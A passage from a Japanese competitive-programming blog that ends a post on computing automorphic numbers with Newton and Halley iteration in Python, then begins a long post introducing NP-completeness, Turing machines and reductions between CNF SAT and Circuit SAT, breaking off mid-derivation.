ということで、$\varphi = y^2 - y \in \Z[y]$ で定義して $\varphi(g) \equiv 0\pmod{10^k}$ なる $g$ を求めたいということになります。 $\varphi(g) \equiv 0\pmod{10^j}$ なる $g$ が求められているとき、 $$ \begin{aligned} h &\equiv g - (g^2 - g)\cdot (2g-1)^{-1} \\ &\equiv (g\cdot(2g-1) - (g^2 - g) )\cdot (2g-1)^{-1} \\ &\equiv (2g^2-g-g^2+g)\cdot (2g-1)^{-1} \\ &\equiv g^2 \cdot (2g-1)^{-1} \pmod{10^{2j}} \end{aligned} $$ として $\varphi(h)\equiv 0\pmod{10^{2j}}$ なる $h$ が求められます。

def newton(g, m, k):
    for _ in range(k):
        m *= m
        g = g**2 * pow(2 * g - 1, -1, m) % m
    return g

$\varphi(5)\equiv 0 \pmod{10}$ は既知として、たとえば newton(5, 10, 6) を呼び出すと、g

25
625
12890625
6259918212890625
4106619977392256259918212890625
9580863811000557423423230896109004106619977392256259918212890625

といったように収束していく様子が見られます。

他にも Halley 法というのがあり、こちらは三次収束です。

def halley(g, m, k):
    for _ in range(k):
        m *= m * m
        g = g**3 * pow(3 * g**2 - 3 * g + 1, -1, m) % m
    return g
625
212890625
619977392256259918212890625
938509890062166509580863811000557423423230896109004106619977392256259918212890625

反復回数としては Halley 法の方が $\log_3(2)\approx 0.63$ 倍だけ得していますが、反復ごとの計算は Newton 法の方が単純がちなので、Newton 法の方が結局は得していそうな気がします*2

もちろん、$x^3 \equiv x \pmod{10^k}$ のような式を満たす $x$ についても(どちらの方法でも)求められます。

$$ \begin{aligned} &\phantom{{}={}} 6259918212890624^3 \\ &= 245304761004039189166825963184256259918212890624 \\ &\equiv 6259918212890624 \pmod{10^{16}}. \end{aligned} $$

おまけ

“Newton’s method Codeforces” でググったところ下記の記事が上位に出てきました。競プロ界隈で Newton 法と言えば数値計算ではなく FPS の文脈がちで、偏ってるな〜と面白くなりました。

そういえば、自分も過去になんかを書いていたらしいです。記憶から抜けていました。

rsk0315.hatenablog.com

経緯

今回は YouTube の動画に触発されたシリーズです。

www.youtube.com

他の回としては下記のようなものがあります。

rsk0315.hatenablog.com

別にわざわざ書く必要もないか?みたいな気持ちになりながらも一応書きました。

twitter.com

ところで、CRT と言えば最近は No.3396 ChRisTmas memory がアツいらしいです?

参考文献

[1]: Gathen, Joachim von zur, and Jürgen Gerhard. Modern Computer Algebra. 3rd ed. Cambridge: Cambridge University Press, 2013.

あとがき

前回の記事から間隔が空いてしまいました。いろいろなコンテンツに手を出していて、あまり記事を書こうという感じになっていませんでした。

CTF で crypto とかをしていると word size に収まらないような数が当然のように出てくるので、競プロ界隈とは違った感じがするな〜という気持ちになります。 Daily AlpacaHack などが最近の初心者向けコンテンツとしてはよさそうなのかな〜と思ったりしています。

alpacahack.com

それはそれとして、word size の高速素因数分解とかも興味はありますよね。SQUFOF のお勉強もしなきゃなと思っています。

おなかがすきました。気持ちや頭の中が無のときにあとがきを書くと短めになることがわかりました。

おわり

おわりましょう。

*1:代入 $\varphi(g)$ や形式微分 $\varphi'$ なども別途定義が必要ですが、いわゆる直感的な定義と同じなので割愛します(本当はそういうのはよくない)。やる気が出たら別途書きます。

*2:気がしますというのは気がしますということです。場合にもよると思います。特に計測はしていません。

NP-complete な問題となかよく

NP-complete や NP-hard のような概念は、競プロ文脈ではあまり重要視されることがない気がします。 多項式時間で解くのが厳しそうな問題が $n\le 20$ 程度の制約で出題されることはあっても、それが実際に NP-hard であることを示す必要は別にありません(示す旨味も特にない気がします)。 「NP 問題だから解くのが難しい」のような表現をしている人をしばしば見かけたりもしますし、あまりきちんと理解している人は多くないような印象があります。

それはそれとして、知っている人はちゃんと知っている分野だとも思いますし、一生知らないまま生きるのは嫌だな〜と思ったので調べようと思いました。 競プロ文脈でも、「この(言い換えた)問題が解けさえすれば AC なんだけどな」といった状況で、その問題が NP-complete であることを示せれば・知っていれば「この方針だときつくない?」と気づいて別の方針を考えやすくなったりします*1

disclaimer: 気ままに調べて気ままに書いていたところ、8.3 万文字を超えていました。

用語

問題

$\gdef\sol{\operatorname{sol}}$

問題 (problem) は $P = (I, O, \sigma)$ の $3$ つ組であって、次を満たすものとします。

  • $I$ は 入力 (input) 全体からなる集合である。
  • $O$ は 出力 (output) 全体を含む集合である。
  • $\sigma \colon I \to 2^O$ は (solution) 全体からなる集合を与える関数である。

$I$ の各元のことを $P$ の 問題例 (instance) とも呼びます。 アルゴリズムによって問題 $P$ を 解く (solve) とは、任意の問題例 $\phi\in I$ を入力として受け取り、その解の集合 $\sigma(\phi)$ が空でないならばそのいずれかの元を出力し、空ならばその旨を報告することを指します。

数列から偶数を見つける問題 $P$ を考えてみましょう。$I = \Z^{\ast}$ かつ $O = \Z$ とします。解は、その列に含まれる偶数です。

たとえば、$\phi_1 = (1, 4, 2, 8, 5, 7, 1, 4)$ のとき $\sigma(\phi_1) = \{2, 4, 8\}$ です。また、$\phi_2 = (9, 17)$ や $\phi_3 = ()$ に対しては $\sigma(\phi_2) = \sigma(\phi_3) = \emptyset$ です。$\eod$

$\gdef\Yes{\textsc{yes}}$ $\gdef\No{\textsc{no}}$

決定問題 または 判定問題 (decision problem) は、各問題例に対応する解の集合が $\{\Yes\}$ または $\{\No\}$ であるような問題のことを指します。 $\sigma(\phi) = \{\Yes\}$ となる問題例 $\phi\in I$ を Yes-instance と呼び、問題 $P$ の Yes-instance 全体からなる集合を $P_{\Yes}$ と書くことにします。No-instance や $P_{\No}$ についても同様に定義します。

数列がソートされているかを決定する問題を考えてみましょう。$I = \Z^{\ast}$ かつ $O = \{\Yes, \No\}$ です。

たとえば、$\phi_1 = (2, 3, 4, 6, 9)$ や $\phi_2 = ()$ に対して $\sigma(\phi_1) = \sigma(\phi_2) = \{\Yes\}$ で、$\phi_3 = (5, 2, 3)$ に対して $\sigma(\phi_3) = \{\No\}$ です。 よって、$\phi_1, \phi_2 \in P_{\Yes}$ かつ $\phi_3\in P_{\No}$ です。$\eod$

問題 $P$ を問題 $Q$ に 帰着する (reduce) とは、問題 $Q$ を解くアルゴリズムをサブルーチンとして用いて、問題 $P$ を解くアルゴリズムを構成することを指します。 ここでは、決定問題 $P$ に対する問題例 $\phi$ を受け取って決定問題 $Q$ に対する問題例 $\theta$ を出力するような帰着の仕方を主に考えるものとします。ここで、$\phi$ が $P$ の Yes-instance ならば $\theta$ は $Q$ の Yes-instance であり、No-instance ならば No-instance となります。

二つの整数が等しいかを決定する問題 $P$ を考えてみましょう。$I_P = \Z^2$ です。 たとえば、$(5, 5) \in P_{\Yes}$ で $(2, 4) \in P_{\No}$ です。

ここで、整数が $0$ と等しいかを決定する問題 $Q$ を考えてみます。$I_Q = \Z$ です。$Q_{\Yes} = \{0\}$ で $Q_{\No} = \Z\smallsetminus\{0\}$ です。 $(x, y) \in I_P$ に対して $x-y \in I_Q$ を考えることで、$P$ を $Q$ に帰着できたことになります。$\eod$

Turing 機械

$\gdef\blank{\square}$

Turingチューリング 機械 (Turing machine; TM) は、$M = (Q, \Sigma, \Gamma, \delta, \blank, q_0, F)$ の $7$ つ組であって、次の条件を満たすものを指します。

  • $Q$ は 状態 (state) の集合で、空でない有限集合である。
  • $\Sigma$ は 入力記号 (input symbol) からなる空でない有限集合であり、入力アルファベット (input alphabet) と呼ぶ。
  • $\Gamma\supset\Sigma$ は テープ記号 (tape symbol) からなる空でない有限集合であり、テープアルファベット (tape alphabet) と呼ぶ。
  • $\delta\colon (Q\smallsetminus F)\times \Gamma \rightharpoonup Q\times \Gamma \times \{-1, 1\}$ は 遷移関数 (transition function) である。
  • $\blank\in\Gamma\smallsetminus\Sigma$ は 空白記号 (blank symbol) である。
  • $q_0\in Q$ は 初期状態 (initial state) である。
  • $F\subseteq Q$ は 受理状態 (accepting state) である。

ここで、$A\rightharpoonup B$ は $A$ から $B$ への 部分関数 (partial function) で、任意の $a\in A$ に対して $f(a)$ は未定義であるか $f(a)\in B$ であることを意味します。

TM $M$ に対して文字列 $w\in \Sigma^{\ast}$ を与えることを考えます。 このとき、$M$ は以下に示す手順に従って $w$ を 受理する (accepts) か、拒否する (rejects) か、停止しない (does not halt) かのいずれかになります。 $M$ が受理する文字列全体からなる集合を $L(M)$ と書きます。

note: 「停止する」は「受理する」または「拒否する」と同じです。「受理しない」は「拒否する」または「停止しない」と同じです。

上記の $Q$ の要素であるところの状態に加え、テープ (tape) と ヘッド (head) という概念を考えます。 テープは、テープ記号からなる無限列です。$M$ に $w = w_0\dots w_{n-1}$ を与えたとき、テープは初め $T = (w_0, \dots, w_{n-1}, \blank, \blank, \dots)$ です。 ヘッドはテープのいずれかの場所を指しています。初めはテープの $0$ 番目(最も左、$w_0$ のある位置)を指します。また、初めの状態は初期状態 $q_0$ です。

すなわち、一番最初のイメージ図は次のような感じです。 $$ \begin{aligned} q_0; &&& (w_0, w_1, \dots, w_{n-1}, \blank, \blank, \dots) \\ &&& \;\uarr \end{aligned} $$ さて、状態が $q$ であり、かつヘッドがテープの $i$ 番目の文字 $T_i$ を見ているとき、$\delta(q, T_i)$ に応じて遷移します。 $\delta(q, T_i)$ が未定義のとき、$M$ は $w$ を拒否します。 $\delta(q, T_i) = (q', c, \Delta i)$ のとき、$T_i \gets c$ で書き換え、状態を $q'$ にし、$i \xgets{+} \Delta i$ で更新します*2。テープのうちヘッドがいない場所にある文字は書き変わりません。

たとえば、$\delta(q_0, w_0) = (q_1, \blank, 1)$ だった場合、上図の状態から次のように遷移します。 $$ \begin{aligned} q_1; &&& (\blank, w_1, \dots, w_{n-1}, \blank, \blank, \dots) \\ &&& \;\hphantom{\blank, \,}\uarr \end{aligned} $$

これを繰り返し、状態 $q$ が $q\in F$ になったら $M$ は $w$ を受理します。有限回の遷移では受理も拒否もしないとき、停止しないと言います。

TM $M$ が、長さ $n$ の任意の文字列 $w\in\Sigma^n$ に対して $t(n)$ ステップで停止するとき、$M$ は $t(n)$ time-bounded であると言います。 同様に、停止するまでのヘッドの位置の最大値が $s(n)$ であるとき $M$ は $s(n)$ tape-bounded であると言います。

符号化

問題を TM によって解くことを考えます。グラフなどを直接与えることはできないので、$\Sigma$ 上の文字列として 符号化する (encode) ことを考えます。 何らかの対象 $\phi$ を符号化したものを $\angled{\phi}$ と書きます。$\angled{(\phi, \theta, \dots)}$ を単に $\angled{\phi, \theta, \dots}$ と書くことにします。

符号化方式 (encoding) は、その文脈において適切であればなんでもいいと思います。

たとえば、以下のようなグラフ $G$ を考えます。

グラフ $G$

AtCoder でよくある入力形式では次のようになります。頂点数 $n$ と辺の本数 $m$ を最初に書き、その後に辺を持つペアを列挙する形式ですね。

4 5
0 1
0 2
1 2
1 3
2 3

あるいは、次のような場合もあるでしょう。

4
0 1 1 0
1 0 1 1
1 1 0 1
0 1 1 0

$\Sigma = \{0, 1, \#\}$ とし、たとえば $$ \angled{G} = 1111\#100\#0\#1\#0\#10\#1\#10\#1\#11\#10\#11 $$ のようなものが考えられます。頂点数の個数だけ $1$ を並べ、残りの数は $2$ 進法で $\#$ 区切りで並べています。

事情

頂点数 $n$ を $2$ 進法で並べると、たとえば辺が $0$ 本のとき $\Theta(\log(n) )$ 程度の長さになります。 これに対して $\Theta(n)$ 時間のアルゴリズムを走らせると $|\angled{\phi}|$ に対して指数的な時間がかかることになって不都合だな〜という気がしたので、頂点数に関してはそういう符号化をしました。 $|\angled{\phi}| \ge n$ であれば、$n^{\Theta(1)} \in |\angled{\phi}|^{O(1)}$ になるので、助かる気がします。$\eod$

あるいは、隣接行列をイメージして $$ \angled{G} = 0110\#1011\#1101\#0110 $$ のようにする方法もありでしょう。

嘘を書いたので折りたたみました

他にも、たとえば、$2^{|V|} \cdot \prod {\{3^{i |V|+j} \mid \{i, j\}\in E\}}$ のようにして一つの整数として表す方法も考えられる気がします*3。 たとえば、上記のグラフ $G$ に対しては $$ 2^4\cdot 3^{0\cdot4+1}\cdot 3^{0\cdot4+2}\cdot 3^{1\cdot4+2}\cdot 3^{1\cdot4+3}\cdot 3^{2\cdot4+3} = 122009559759792 $$ が成り立ちます。一般の $G = (V, E)$ に対して、この整数の下限は $2^{|V|}$ で、上界は $$ \begin{aligned} 2^{|V|}\cdot \prod_{i=0}^{|V|^2-1} 3^i &= 2^{|V|}\cdot 3^{\sum_{i=0}^{|V|^2-1} i} \\ &= 2^{|V|}\cdot 3^{\tfrac12\cdot |V|^2 (|V|^2-1)}, \\ \log_2\left(2^{|V|}\cdot \prod_{i=0}^{|V|^2-1} 3^i\right) &= |V| + \frac{\log_23}2\cdot |V|^2 (|V|^2-1) \end{aligned} $$ なので、この整数を $2$ 進法などで書けば $|V|^{\Theta(1)}$ 桁になります。うれしいかは文脈によりますね*4。$\eod$

TM $D$ が決定問題 $P$ を解くというのは、任意の $w\in\Sigma^{\ast}$ に対して $D$ は停止し、また $L(D) = \{\angled{\phi} \mid \phi \in P_{\Yes}\}$ が成り立つのに相当します。 こうした $D$ のことを $P$ の 決定器 (decider) と言います。 停止するとは限らないが $L(M) = \{\angled{\phi} \mid \phi \in P_{\Yes}\}$ なる TM $M$ のことは $P$ の 認識器 (recognizer) と言います*5

人間視点だと、$P$ の決定器を構成しましょうという遊びですね。

「任意の決定問題について決定器が存在するか?」とか「任意の決定問題について認識器が存在するか?」とかの話は、別の記事で書くかもしれないし書かないかもしれません。

NP 問題

$\gdef\P{\textsf{P}}$ $\gdef\NP{\textsf{NP}}$ $\gdef\NTIME{\textsf{NTIME}}$

$\NP$ はある種の決定問題からなる集合です。

本来っぽい定義

非決定性 Turing 機械というのを別途定義する必要があります。Turing 機械における遷移関数が遷移関係になって、受理の条件にも手が加わったものです。 遷移の仕方が一意ではなくなり、「どれか好きなように遷移できる」「遷移の仕方をうまく選ぶことで受理状態に到達できるなら受理する」といった具合です。

入力の長さが $n$ のときにこの機械を用いて $O(f(n))$ ステップで解ける決定問題全体からなる集合を $\NTIME(f(n) )$ と書きます。

これを用いて、$\NP = \bigcup_{k\in\N} \NTIME(n^k)$ と定義されます。$\eod$

任意の問題 $P\in\NP$ に対し*6、TM $V$、集合 $C$、多項式 $p$ であって下記を満たすものが存在します*7

  • 任意の $\phi\in P_{\Yes}\cup P_{\No}$ と $c\in C$ に対し、$V$ は $\angled{\phi, c}$ を与えたとき高々 $p(|\angled{\phi}|)$ ステップで停止する。
  • $\phi\in P_{\Yes}$ ならば、ある $c\in C$ が存在し、$V$ は $\angled{\phi, c}$ を受理する。
    • このような $c$ を $\phi$ に対する 証拠 (certificate, witness) と呼ぶ。
  • $\phi\in P_{\No}$ ならば、任意の $c\in C$ に対し、$V$ は $\angled{\phi, c}$ を拒否する。

note: 下二つの条件を満たす決定器を $P$ の 検証器 (verifier) と言います。$\NP$ に属する問題に対しては、多項式時間で停止する検証器が常に存在するということですね。

例については、次の章で $\NP$ の問題を導入したときに併せて挙げます。

NP-complete

問題 $P$ が NP-hard であるとは、任意の $Q\in\NP$ が $P$ に多項式時間で帰着できることを指します。 問題 $P$ が NP-complete であるとは、$P\in\NP$ かつ $P$ が NP-hard であることを指します。

多項式時間で解くことができる問題全体からなる集合を $\P$ と書きますが、$\P$ に属する問題は当然多項式時間で検証できる(検証と言いつつふつうに解いてしまっても多項式時間しかかからない)ので $\P\subseteq\NP$ です。 そのため、$P\in\NP$ だけ示しても NP-complete かどうかはわからず、「NP 問題なので難しい」はあまり妥当でない主張な気がします。 $\NP$ の中には全然簡単な問題も属しているので、それと区別した言い方になっていないということですね。

帰着①

各節では、問題の紹介をはじめに行い、別の NP-complete な問題から帰着できることを示します。 帰着の証明では、まず別の NP-complete な問題の問題例 $\phi$ から、その問題の問題例 $\theta$ を構成する方法を述べます。 その後、$\phi$ が Yes-instance であることと $\theta$ が Yes-instance であることの同値性を示します。 典型的には、$\phi$ の certificate を用いて $\theta$ の certificate を構成できることと、その逆方向をそれぞれ示すことになります。

なお、$\theta$ の構成が $|\angled{\phi}|$ に対して多項式ステップでできることも示す必要があります。 $|\angled{\theta}| \in |\angled{\phi}|^{O(1)}$ であることが必要になると思います。

添字の集合を表すときに便利なので、非負整数 $k$ に対して $\Lambda_k = \{0, 1, \dots, k-1\}$ と定義します。

CNF Satisfiability (CNF SAT)

まずは、実際に NP-complete である問題が実際に存在することを示します。

$n$ 個の変数 $x_0, \dots, x_{n-1}\in\{0, 1\}$ からなる論理式 $$ \begin{aligned} \phi &= \bigwedge_{i=0}^{m-1} \bigvee_{j=0}^{k_i-1} \alpha_{i, j} \\ &= (\alpha_{0, 0}\vee\dots\vee\alpha_{0, k_0-1})\wedge\dots\wedge(\alpha_{m-1, 0}\vee\dots\vee\alpha_{m-1, k_{m-1}-1}) \end{aligned} $$ が与えられます。ここで、$\alpha_{i, j}$ は $x_0, \lnot x_0, \dots, x_{n-1}, \lnot x_{n-1}$ のいずれかです。 このとき、$\bm{x} = (x_0, \dots, x_{n-1}) \in \{0, 1\}^n$ であって $\phi(\bm{x}) = 1$ なるものが存在するか?という問題です。 なお、その $\bm{x}$ が存在するとき、$\phi$ は 充足可能である (is satisfiable) と言います*8

note: CNF連言れんげん標準形 (conjunctive normal form) の略で、$\bigwedge\bigvee\alpha$ の形の論理式のことです。 $\bigvee\bigwedge\alpha$ の形の論理式は 選言せんげん標準形 (disjunctive normal form, DNF) と呼ばれます。

各 $\bigvee \alpha$ のことを (clause) と呼びます。また、各 $\alpha$ のことを リテラル (literal) と呼びます。

演算子の定義は次の通りです。 $$ \begin{aligned} \def\arraystretch{1.5} \begin{array}{c|c:c} \vee & 0 & 1 \\ \hline 0 & 0 & 1 \\ \hdashline 1 & 1 & 1 \end{array} \qquad\quad \def\arraystretch{1.5} \begin{array}{c|c:c} \wedge & 0 & 1 \\ \hline 0 & 0 & 0 \\ \hdashline 1 & 0 & 1 \end{array} \qquad\quad \def\arraystretch{1.5} \begin{array}{c|c:c} \lnot & 0 & 1 \\ \hline & 1 & 0 \end{array} \end{aligned} $$ また、$\{0, 1\}\times\{0, 1\}\to\{0, 1\}$ の演算として次のものも導入しておきます。 $$ \begin{aligned} \def\arraystretch{1.5} \begin{array}{c|c:c} \rarr & 0 & 1 \\ \hline 0 & 1 & 1 \\ \hdashline 1 & 0 & 1 \end{array} \qquad\quad \def\arraystretch{1.5} \begin{array}{c|c:c} \harr & 0 & 1 \\ \hline 0 & 1 & 0 \\ \hdashline 1 & 0 & 1 \end{array} \end{aligned} $$ $\rarr$ は $1\rarr 0$ のみが $0$ で、それ以外の組合せでは $1$ となります。$x\rarr y = \lnot x\vee y$ や $x\harr y = (x\rarr y)\wedge(y\rarr x)$ が成り立ちます。 これを用いると SAT は $$ \bigwedge_{i=0}^{m-1}\bigvee_{j=0}^{k_i-1} \alpha_{i, j} = \bigwedge_{i=0}^{m-1}\bigvee_{j=0}^{k_i-1} {(x_{l_{i, j}} \harr a_{i, j})} $$ のような形で書くことができます。ここで $l_{i, j}\in \Lambda_n$ かつ $a_{i, j}\in\{0, 1\}$ です。

$\phi = (x_0\vee x_1)\wedge(\lnot x_0\vee \lnot x_1\vee x_2) \wedge (x_0\vee \lnot x_2)$ とすると、$\bm{x} = (x_0, x_1, x_2) = (1, 0, 0)$ に対して $\phi(\bm{x}) = 1$ となります。このような $\bm{x}$ を探すのは一般には難しいですが、固定された $\bm{x}$ に対して $\phi(\bm{x})$ を計算することは容易です。自然な検証器としては、この $\bm{x}$ を certificate として使うものが考えられます。

また、$\psi = (x_0)\wedge(\lnot x_0)$ とすると $\psi(\bm{x}) = 1$ なる $\bm{x}$ は存在しません。$\eod$

Claim 1: CNF SAT は任意の $P\in\NP$ から多項式時間で帰着できる。

Proof

任意の $P\in\NP$ を固定する。ある多項式 $t$, $s$ が存在し、$P$ の $t(n)$ time-bounded, $s(n)$ tape-bounded な検証器 $V = (Q, \Sigma, \Gamma, \delta, \blank, q_0, F)$ が存在する。

ここで $q_{\text{reject}}\notin Q$ を用いて $Q' = Q\cup \{q_{\text{reject}}\}$ とし、$\delta'\colon Q'\times \Gamma\to Q'\times\Gamma\times \{-1, 0, 1\}$ を次のように定義する。 $$ \delta'(q, c) = \begin{cases} (q', c', \Delta j), & \text{if}\; \delta(q, c) = (q', c', \Delta j); \\ (q, c, 0), & \text{if}\; q\in F; \\ (q_{\text{reject}}, c, 0), & \text{otherwise}. \end{cases} $$

$P$ の問題例 $\phi$ に対し、$w = \angled{\phi}$ かつ $|w| = n$ とする。テープの長さを $s(n)$ とし、テープの初期値を $$ (w_0, \dots, w_{n-1}, T_n, \dots, T_{s(n)-1}) $$ とする。ここで、$T_n, \dots, T_{s(n)-1} \in \Gamma$ である。$V$ の条件より、これを $t(n)$ ステップで受理することと $\phi\in P_{\Yes}$ であることは同値である。

次に示す $(t(n)+1)\cdot(|Q'| + (s(n)+1) + s(n) |\Gamma|)$ 個の変数を用いた CNF SAT $P'$ の問題例 $\theta$ に対し、$\phi\in P_{\Yes} \iff \theta \in P'_{\Yes}$ となることを示す。

  • $x_{i, q}^{\text{state}}$ は、$i$ 回の遷移の後の状態が $q$ であることと同値とする。
    • $i\in\Lambda_{t(n)+1}$
    • $q \in Q'$
  • $x_{i, j}^{\text{head}}$ は、$i$ 回の遷移の後のヘッドの位置が $j$ であることと同値とする。
    • $i\in\Lambda_{t(n)+1}$
    • $j\in\Lambda_{s(n)}\cup\{-1\}$
  • $x_{i, j, c}^{\text{symbol}}$ は、$i$ 回の遷移の後のテープの $j$ 番目の文字が $c$ であることと同値とする。
    • $i\in\Lambda_{t(n)+1}$
    • $j\in\Lambda_{s(n)}$
    • $c\in\Gamma$

これは、次のようにして表現できる。

$$ \begin{aligned} \theta &= x_{0, q_0}^{\text{state}} \wedge x_{0, 0}^{\text{head}} \wedge \bigwedge_{j=0}^{n-1} x_{0, j, w_j}^{\text{symbol}} \wedge \left(\bigvee_{q\in F} x_{t(n), q}^{\text{state}}\right) \\ & \qquad\quad {} \wedge \bigwedge_{j=n}^{s(n)-1} \bigwedge_{c\in\Gamma\smallsetminus(\Sigma\cup\{\blank\})} \lnot x_{0, j, c}^{\text{symbol}} \wedge \bigwedge_{j=n+1}^{s(n)-1} (x_{0, j-1, \blank}^{\text{symbol}}\to x_{0, j, \blank}^{\text{symbol}}) \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)} \left(\sum_{q\in Q'} x_{i, q}^{\text{state}} = 1\right) \wedge \bigwedge_{i=0}^{t(n)} \bigwedge_{j=0}^{s(n)-1} \left(\sum_{c\in\Gamma} x_{i, j, c}^{\text{symbol}} = 1\right) \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)} \left(\sum_{j=0}^{s(n)-1} x_{i, j}^{\text{head}} = 1\right) \wedge \bigwedge_{i=0}^{t(n)} \lnot x_{i, -1}^{\text{head}} \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)-1} \bigwedge_{j=0}^{s(n)-1} \bigwedge_{\delta'(q, c)=(q', c', \Delta j)} \left( (x_{i, q}^{\text{state}}\wedge x_{i, j}^{\text{head}}\wedge x_{i, j, c}^{\text{symbol}})\to x_{i+1, q'}^{\text{state}} \right) \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)-1} \bigwedge_{j=0}^{s(n)-1} \bigwedge_{\delta'(q, c)=(q', c', \Delta j)} \left( (x_{i, q}^{\text{state}}\wedge x_{i, j}^{\text{head}}\wedge x_{i, j, c}^{\text{symbol}})\to x_{i+1, j+\Delta j}^{\text{head}} \right) \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)-1} \bigwedge_{j=0}^{s(n)-1} \bigwedge_{\delta'(q, c)=(q', c', \Delta j)} \left( (x_{i, q}^{\text{state}}\wedge x_{i, j}^{\text{head}}\wedge x_{i, j, c}^{\text{symbol}})\to x_{i+1, j, c'}^{\text{symbol}} \right) \\ & \qquad\quad {} \wedge \bigwedge_{i=0}^{t(n)-1} \bigwedge_{j=0}^{s(n)-1} \bigwedge_{(q, c)\in Q'\times\Gamma} \left( (x_{i, q}^{\text{state}}\wedge \lnot x_{i, j}^{\text{head}}\wedge x_{i, j, c}^{\text{symbol}})\to x_{i+1, j, c}^{\text{symbol}} \right). \end{aligned} $$ ここで、 $$ \begin{aligned} \left(\sum_{x\in S} x = 1\right) &= \left(\bigvee_{x\in S} x\right) \wedge \left(\bigwedge_{x\in S\mathstrut} \bigwedge_{x'\in S\smallsetminus\{x\}} \lnot (x\wedge \lnot x')\right) \\ &= \left(\bigvee_{x\in S} x\right) \wedge \left(\bigwedge_{x\in S\mathstrut} \bigwedge_{x'\in S\smallsetminus\{x\}} (\lnot x\vee \lnot x')\right) \\ \left(\bigwedge_{x\in S} x\right)\to y &= \left(\bigvee_{x\in S} \lnot x\right)\vee y \end{aligned} $$ が成り立つため、$\theta$ は CNF SAT の instance として表せる。

任意の $x_{i, q}^{\text{state}}, x_{i, j}^{\text{head}}, x_{i, j, c}^{\text{symbol}}$ が定まっているとき、$\delta'$ の遷移に対応するように $x_{i+1, q}^{\text{state}}, x_{i+1, j}^{\text{head}}, x_{i+1, j, c}^{\text{symbol}}$ を定めないと $\theta(\bm{x}) = 0$ となることに注意せよ。

$\phi\in P_{\Yes}$ ならば、ある $T_n, \dots, T_{s(n)-1}$ が存在して $(w_0, \dots, w_{n-1}, T_n, \dots, T_{s(n)-1})$ を $V$ が受理するため、$V$ の遷移に応じて $\bm{x}$ を定めることで $\theta(\bm{x}) = 1$ となる。特に、$\bigvee_{q\in F} x_{t(n), q}^{\text{state}} = 1$ となることに注意せよ。

逆に、$\theta\in P'_{\Yes}$ ならば、$(T_n, \dots, T_{s(n)-1}) = (c_n, \dots, c_{n+|c|-1}, \blank, \dots, \blank)$ となるような $c = c_n\dots c_{n+|c|-1}\in\Sigma^{\ast}$ が得られる。これが $\phi$ に対する certificate となるため、$\phi\in P_{\Yes}$ となる。$\qed$

帰着の具体例は、後に紹介する NP-complete な問題のうち、検証器を簡単に構成できるものを用いて後半で示します。

Circuit Satisfiability (Circuit SAT)

$n+m$ 個の変数 $x_0, \dots, x_{n+m-1}\in\{0, 1\}$ が与えられます。ただし、各 $i\in\Lambda_m$ について $n+i$ 番目の変数は次のいずれかの形で与えられます。

  • $x_{n+i} = 0$
  • $x_{n+i} = 1$
  • $x_{n+i} = \lnot x_j$
  • $x_{n+i} = x_j \wedge x_k$
  • $x_{n+i} = x_j \vee x_k$

ただし、$j, k\in \Lambda_{n+i}$ とします。このとき、$\bm{x} = (x_0, \dots, x_{n-1})$ であって $m$ 個の方程式を満たしつつ $x_{n+m-1} = 1$ なるものが存在するか?という問題です。

note: 与えられた 論理回路 (Boolean circuit) の出力を $1$ にするような入力が存在するか?というのに対応しています。

Circuit SAT の問題例 $\phi$

$n = 3$, $m = 3$ で $$ \begin{aligned} x_3 &= x_0 \vee x_1, \\ x_4 &= \lnot x_3, \\ x_5 &= x_2 \wedge x_4 \end{aligned} $$ となる回路です。$\bm{x} = (0, 0, 1)$ とすることで条件を満たすことができます。

$\phi$ の certificate

よって、上記の $\phi$ は Yes-instance であることがわかります。$\eod$

Claim 2: Circuit SAT は SAT から多項式時間で帰着できる。

Proof

SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} \bigvee_{k=0}^{c_j-1} {(x_{l_{j, k}}\harr a_{j, k})} $$ とし、各 $j$, $k$ について $l_{j, k}\in\Lambda_n$ かつ $a_{j, k}\in\{0, 1\}$ とする。すなわち、変数を $n$ 個とする。 ここで、$c_j\le |\Lambda_n\times\{0, 1\}|=2n$ としても一般性を失わない。

便宜上、各 $j\in\Lambda_{m+1}$ に対して $s_j = \sum_{k=0}^{j-1} c_j$ とする。$s_m\le 2mn$ が成り立つ。

$2n+s_m$ 個の変数の Circuit SAT に帰着できる。 まず、各 $i\in\Lambda_n$ に対して $x_{n+i} = \lnot x_i$ とする。 $x_{2n}=1$ とし、各 $j\in\Lambda_m$ と $k\in\Lambda_{c_j-2}$ に対して $$ \begin{aligned} x_{2n+s_j+1} &= (x_{(1-a_{j, 0})n+l_{j, 0}}) \vee (x_{(1-a_{j, 1})n+l_{j, 1}}), \\ x_{2n+s_j+k+2} &= (x_{2n+s_j+k+1}) \vee (x_{(1-a_{j, k+2})n+l_{j, k+2}}), \\ x_{2n+s_{j+1}} &= x_{2n+s_j} \wedge x_{2n+s_{j+1}-1} \end{aligned} $$ で定義する。

$x_{2n+s_m} = 1$ と $\phi(\bm x) = 1$ が同値であることは明らか。$\qed$

また、Circuit SAT が NP であることから、Claim 1 より CNF SAT に帰着できることは明らかですが、直接的に帰着できることを示します。

Claim 3: CNF SAT は Circuit SAT から帰着できる。

Proof

Circuit SAT の問題例 $\phi$ において、各 $i\in\Lambda_m$ に対して $x_{n+i} = f_i(x_0, \dots, x_{n+i-1})$ であるとする。このとき、 $$ \theta = x_{n+m-1} \wedge \left(\bigwedge_{i=0}^{m-1} \big(x_{n+i}\harr f_i(x_0, \dots, x_{n+i-1})\big) \right) $$ と定義する。ただし、 $$ \begin{aligned} x_{n+i}\harr 0 &= \lnot x_{n+i}, \\ x_{n+i}\harr 1 &= x_{n+i}, \\ x_{n+i} \harr \lnot x_j &= (x_{n+i} \to \lnot x_j) \wedge (\lnot x_j \to x_{n+i}) \\ &= (\lnot x_{n+i} \vee \lnot x_j) \wedge (x_j\vee x_{n+i}), \\ x_{n+i} \harr (x_j\wedge x_k) &= (x_{n+i} \to (x_j\wedge x_k) ) \wedge ( (x_j\wedge x_k) \to x_{n+i}) \\ &= (\lnot x_{n+i} \vee (x_j\wedge x_k) ) \wedge (\lnot (x_j\wedge x_k) \vee x_{n+i}) \\ &= ( (\lnot x_{n+i} \vee x_j) \wedge (\lnot x_{n+i} \vee x_k) ) \wedge ( (\lnot x_j\vee \lnot x_k) \vee x_{n+i}) \\ &= 